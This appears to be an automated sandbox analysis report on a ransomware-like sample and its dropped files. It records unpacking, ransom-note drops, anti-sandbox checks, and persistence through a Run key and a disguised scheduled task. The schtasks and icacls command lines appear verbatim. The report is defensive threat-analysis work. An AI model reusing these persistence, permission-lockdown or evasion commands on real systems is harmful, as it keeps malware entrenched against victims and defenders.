Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: SUwX12D2S6.exe, 00000004.00000003.2226957493.00000000038C6000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2225920544.00000000038C2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2225038196.0000000003192000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2223567308.00000000038C2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2217897189.00000000038AB000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2216202881.00000000038A9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2218553034.00000000038C2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2227590465.00000000038DF000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2217675191.00000000038A9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2216776414.000000000318D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2216475290.0000000003183000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\we\ source: SUwX12D2S6.exe, 00000004.00000003.2169696594.000000000350D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\AC\ source: SUwX12D2S6.exe, 00000004.00000003.2159195532.0000000003733000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\f source: SUwX12D2S6.exe, 00000004.00000003.2135310569.0000000003493000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110681040.00000000034F2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136261874.000000000350D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\\Packa source: SUwX12D2S6.exe, 00000004.00000003.2136536137.0000000003169000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110957880.000000000315A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135929742.0000000003168000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136570770.000000000316F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.1881793763.000000000316C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\censes] source: SUwX12D2S6.exe, 00000004.00000003.1882036014.0000000003148000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.1843805332.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2170331603.0000000003576000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2184159938.0000000003576000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Data source: SUwX12D2S6.exe, 00000004.00000003.2184159938.0000000003576000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\\ source: SUwX12D2S6.exe, 00000004.00000003.2183331491.000000000376A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2202393003.000000000376B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgzq~ source: SUwX12D2S6.exe, 00000004.00000003.2110681040.00000000034F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: SUwX12D2S6.exe, 00000004.00000003.2159195532.000000000375A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2174356824.000000000375B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\e\5o source: SUwX12D2S6.exe, 00000004.00000003.2159543171.00000000031A5000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2157718043.00000000031A3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: SUwX12D2S6.exe, 00000004.00000003.2185146314.0000000003802000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2202393003.00000000037AA000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2202710386.00000000037CB000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2203093794.00000000037E3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\a\* source: SUwX12D2S6.exe, 00000004.00000003.1881875981.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.1881957469.00000000033DC000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110134134.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2111097747.0000000003405000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\DC source: SUwX12D2S6.exe, 00000004.00000003.2136680554.000000000314E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136154375.0000000003148000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110957880.000000000315A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: SUwX12D2S6.exe, 00000004.00000003.2110681040.00000000034F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: SUwX12D2S6.exe, 00000004.00000003.2174680367.000000000345E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2174757810.000000000346A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2170130034.0000000003413000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2174049173.000000000341F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2174506625.0000000003420000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\uf?% source: SUwX12D2S6.exe, 00000004.00000003.2135310569.0000000003493000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110681040.00000000034F2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136261874.000000000350D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\_ source: SUwX12D2S6.exe, 00000004.00000003.2242116659.000000000375B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\acrobat_sbx\Adobe\d.pdb source: SUwX12D2S6.exe, 00000004.00000003.2135310569.0000000003493000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136261874.000000000350D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136368733.0000000003534000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\R source: SUwX12D2S6.exe, 00000004.00000003.2135310569.0000000003493000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110681040.00000000034F2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136261874.000000000350D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136368733.0000000003534000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\e source: SUwX12D2S6.exe, 00000004.00000003.2185322786.00000000033C8000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2174464257.00000000033C4000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2169889587.00000000033C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: SUwX12D2S6.exe, 00000004.00000003.2135697139.00000000033C5000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110208589.00000000033B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2242116659.000000000375B000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2236436289.0000000003893000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: SUwX12D2S6.exe, 00000004.00000003.2135697139.00000000033C5000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110208589.00000000033B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: build2.exe, 00000008.00000002.1970716529.0000000020E29000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1970251533.000000001E8E8000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgzqqg.bgzq13be82808d6d800486d215022e11c6ece1ta\Application Data\Application Data\ApplicR source: SUwX12D2S6.exe, 00000004.00000003.2209794574.0000000003141000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2201372327.0000000003141000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2203525691.0000000003152000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\e\ source: SUwX12D2S6.exe, 00000004.00000003.2136536137.0000000003169000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110957880.000000000315A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135929742.0000000003168000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136570770.000000000316F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.1881793763.000000000316C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\4 source: SUwX12D2S6.exe, 00000004.00000003.1881875981.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.1881957469.00000000033DC000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Unpacked PE file: 1.2.SUwX12D2S6.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Unpacked PE file: 4.2.SUwX12D2S6.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Unpacked PE file: 6.2.SUwX12D2S6.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Unpacked PE file: 12.2.SUwX12D2S6.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe	Unpacked PE file: 16.2.build3.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Unpacked PE file: 24.2.SUwX12D2S6.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 26.2.mstsca.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 29.2.mstsca.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 31.2.mstsca.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Unpacked PE file: 1.2.SUwX12D2S6.exe.400000.0.unpack
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Unpacked PE file: 4.2.SUwX12D2S6.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Unpacked PE file: 6.2.SUwX12D2S6.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Unpacked PE file: 12.2.SUwX12D2S6.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe	Unpacked PE file: 16.2.build3.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Unpacked PE file: 24.2.SUwX12D2S6.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 26.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 29.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 31.2.mstsca.exe.400000.0.unpack

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Code function: 1_2_00412220 GetCommandLineW,CommandLineToArgvW,PathFindFileNameW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,K32EnumProcesses,OpenProcess,K32EnumProcessModules,K32GetModuleBaseNameW,CloseHandle,

1_2_00412220

Source: sqln[1].dll.8.dr	Static PE information: section name: .00cfg
Source: mstsca.exe.16.dr	Static PE information: section name: .kic

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_004052B5 push ecx; ret	0_2_004052C8
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_0459E0AF push ecx; retf	0_2_0459E0B2
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 0_2_05E38F05 push ecx; ret	0_2_05E38F18
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00428565 push ecx; ret	1_2_00428578
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_044310AF push ecx; retf	3_2_044310B2
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 3_2_05E08F05 push ecx; ret	3_2_05E08F18
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050D050 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050D008 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050D028 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050D090 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050D0A8 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050D318 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050C4E0 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050D550 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00428565 push ecx; ret	4_2_00428578
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050D698 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050C960 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050C928 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050C988 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050C9A8 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050CB78 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050CD60 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050CDF0 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050CE58 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050CF28 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050CFC0 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0050CF90 push eax; retn 004Dh	4_2_0050D6B5

Persistence and Installation Behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

System file written: C:\Users\user\AppData\Local\Temp\chrome.exe

Jump to behavior

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\$WinREAgent\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\$WinREAgent\Scratch\_README.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	File created: C:\_README.txt
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	File created: C:\Users\user\_README.txt

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe

Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Code function: 0_2_00404F7E EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00404F7E

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: build2.exe PID: 7600, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: build2.exe, 00000008.00000002.1966489860.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: AAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Code function: 0_2_0459C71C rdtsc

0_2_0459C71C

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Code function: 4_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,NetStatisticsGet,NetStatisticsGet,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateToolhelp32Snapshot,GetTickCount,Heap32ListFirst,Heap32First,Heap32Next,GetTickCount,Heap32ListNext,GetTickCount,GetTickCount,GetTickCount,Process32First,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

4_2_00481920

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,		1_2_0040E670
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,		4_2_0040E670

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Window / User API: threadDelayed 5790
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Window / User API: threadDelayed 4209

Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll

Jump to dropped file

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_1-39503

Source: C:\Users\user\Desktop\SUwX12D2S6.exe TID: 7560	Thread sleep time: -700000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 5480	Thread sleep count: 5790 > 30
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 5480	Thread sleep time: -1302750s >= -30000s
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 5480	Thread sleep count: 4209 > 30
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 5480	Thread sleep time: -947025s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Last function: Thread delayed
